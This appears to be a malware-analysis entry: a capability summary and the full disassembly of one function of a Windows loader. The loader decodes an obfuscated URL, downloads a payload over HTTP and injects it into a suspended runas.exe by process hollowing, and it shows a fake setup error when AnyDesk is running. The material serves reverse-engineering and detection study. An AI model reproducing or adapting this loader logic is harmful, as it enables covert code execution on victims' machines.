Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Create process on windows
Create process suspended
Create thread
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Inject thread
Read data from internet
Receive data
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x11d0]
mov eax, 0x12d0
call fcn.140002c80
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x11b0], rax
xor edx, edx
mov dword [rbp + 0x80], 0x130
mov ecx, 2
xor dil, dil
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000128e
lea rcx, str.Failed_to_take_a_process_snapshot._n
call fcn.140001010
jmp 0x140001327
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001312
lea rdx, str.AnyDesk.exe
lea rcx, [rbp + 0xac]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
je 0x1400012d0
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400012a2
jmp 0x1400012d3
mov dil, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test dil, dil
je 0x140001327
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
lea r8, str.Windows_10_Setup
lea rdx, str.Setup_couldnt_start_properly._Please_reboot_your_PC_and_try_running_Windows_10_Setup_again.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14000190b
lea rcx, str.Failed_to_retrieve_the_first_process._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x20
mov qword [rsp + 0x12c0], r15
call qword [sym.imp.KERNEL32.dll_WerSetFlags]
mov ebx, eax
test eax, eax
jns 0x140001378
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_set_WER_flags._HRESULT:
call fcn.1400019b0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001b90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001903
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Loading...
mov qword [rsp + 0x12f8], r12
mov qword [rsp + 0x1300], r13
mov qword [rsp + 0x12c8], r14
call fcn.1400019b0
mov rcx, rax
lea rdx, [0x140001b90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r13d, r13d
lea rcx, str.HttpAgent
mov r15d, 1
mov dword [rsp + 0x20], r13d
mov edx, r15d
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov byte [rsp + 0x50], 0x98
mov r9d, r13d
mov byte [rsp + 0x51], 0x89
mov r14, rax
mov byte [rsp + 0x52], 0x85
mov r12d, 0xf
mov byte [rsp + 0x53], 0x89
movabs r10, 0x5749e115f3d6d2f1
mov byte [rsp + 0x54], 0xc9
mov byte [rsp + 0x55], 0xd4
mov byte [rsp + 0x56], 0xdb
mov byte [rsp + 0x57], 0x84
mov byte [rsp + 0x58], 0x99
mov byte [rsp + 0x59], 0x89
mov byte [rsp + 0x5a], 0x9b
mov byte [rsp + 0x5b], 0x82
mov byte [rsp + 0x5c], 0x9d
mov byte [rsp + 0x5d], 0xd4
mov byte [rsp + 0x5e], 0x95
mov byte [rsp + 0x5f], 0x6a
mov byte [rsp + 0x60], 0x6d
mov byte [rsp + 0x61], 0x22
mov byte [rsp + 0x62], 0x62
mov byte [rsp + 0x63], 0x68
mov byte [rsp + 0x64], 0x60
mov byte [rsp + 0x65], 0x6a
mov byte [rsp + 0x66], 0x2a
mov byte [rsp + 0x67], 0x77
mov byte [rsp + 0x68], 0x64
mov byte [rsp + 0x69], 0x7b
mov byte [rsp + 0x6a], 0xa
movzx eax, byte [rsp + 0x50]
nop dword [rax]
movzx r8d, byte [rsp + r9 + 0x50]
lea eax, [r9 - 0xf]
mov rcx, r9
mov rdx, r10
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
shr rdx, cl
and dl, r12b
xor dl, al
xor dl, r8b
mov byte [rsp + r9 + 0x50], dl
inc r9
cmp r9, 0x1b
jb 0x140001480
xorps xmm0, xmm0
lea rax, [rsp + 0x50]
movups xmmword [rbp - 0x18], xmm0
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x1400014d0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001925
mov qword [rsp + 0x12f0], rsi
cmp rbx, r12
ja 0x14000151c
mov r8, rbx
mov qword [rbp - 8], rbx
lea rdx, [rsp + 0x50]
mov qword [rbp], r12
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x18], r13b
jmp 0x1400015b1
mov rax, rbx
or rax, r12
cmp rax, rdi
jbe 0x140001554
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001f14
test rax, rax
je 0x1400018d4
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001591
mov ecx, 0x16
mov rdi, rax
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001571
mov rsi, r13
jmp 0x140001591
cmp rcx, 0x1000
jb 0x140001589
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000192b
jmp 0x140001535
call fcn.140001f14
mov rsi, rax
mov r8, rbx
mov qword [rbp - 0x18], rsi
lea rdx, [rsp + 0x50]
mov qword [rbp - 8], rbx
mov rcx, rsi
mov qword [rbp], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r13b
cmp qword [rbp], r12
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x28], r13
mov rcx, r14
cmova rdx, qword [rbp - 0x18]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
xorps xmm0, xmm0
mov qword [rbp - 0x28], r13
movups xmmword [rbp - 0x38], xmm0
lea r9, [rbp - 0x40]
mov byte [rbp - 0x38], r13b
mov r8d, 0x1000
mov qword [rbp - 0x20], r12
lea rdx, [rbp + 0x1b0]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001697
mov eax, dword [rbp - 0x40]
test eax, eax
je 0x140001697
mov rdx, qword [rbp - 0x20]
mov edi, eax
mov rcx, qword [rbp - 0x28]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000165d
cmp rdx, r12
lea rax, [rcx + rdi]
lea rbx, [rbp - 0x38]
mov qword [rbp - 0x28], rax
cmova rbx, qword [rbp - 0x38]
lea rdx, [rbp + 0x1b0]
add rbx, rcx
mov r8d, edi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], r13b
jmp 0x140001675
lea r9, [rbp + 0x1b0]
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140001bd0
lea r9, [rbp - 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x1b0]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001612
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rbp - 0x20], r12
lea rsi, [rbp - 0x38]
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
cmova rsi, qword [rbp - 0x38]
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
mov dword [rbp + 0x10], 0x68
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rcx, str.C:WindowsSystem32_runas.exe
mov rbx, rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000185b
mov rcx, qword [rsp + 0x78]
lea rax, [rbp + 8]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
xor edx, edx
call rbx
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x78]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x78]
mov r8, rsi
mov qword [rsp + 0x70], rax
mov rdx, rax
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rbx, dword [rsi + 0x3c]
mov edi, r13d
add rbx, 0x11c
cmp r13w, word [r14 + 6]
jae 0x1400017e3
add rbx, rsi
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, qword [rsp + 0x70]
mov r9d, dword [rbx - 4]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r14 + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x1400017b2
mov rdx, qword [rbp - 0x68]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [r14 + 0x28]
xor r8d, r8d
add r9, qword [rsp + 0x70]
xor edx, edx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp - 0x80]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rsi
call fcn.140001d90
mov r15d, r13d
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001892
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000188d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018d4
call fcn.140001d90
mov rdx, qword [rbp]
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], r13b
cmp rdx, 0xf
jbe 0x1400018e0
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d90
mov rsi, qword [rsp + 0x12f0]
mov eax, r15d
mov r13, qword [rsp + 0x1300]
mov r12, qword [rsp + 0x12f8]
mov r14, qword [rsp + 0x12c8]
mov r15, qword [rsp + 0x12c0]
mov rcx, qword [rbp + 0x11b0]
xor rcx, rsp
call fcn.140001d70
add rsp, 0x12d0
pop rdi
pop rbx
pop rbp
ret
call fcn.140001210
int3
call fcn.140001170
int3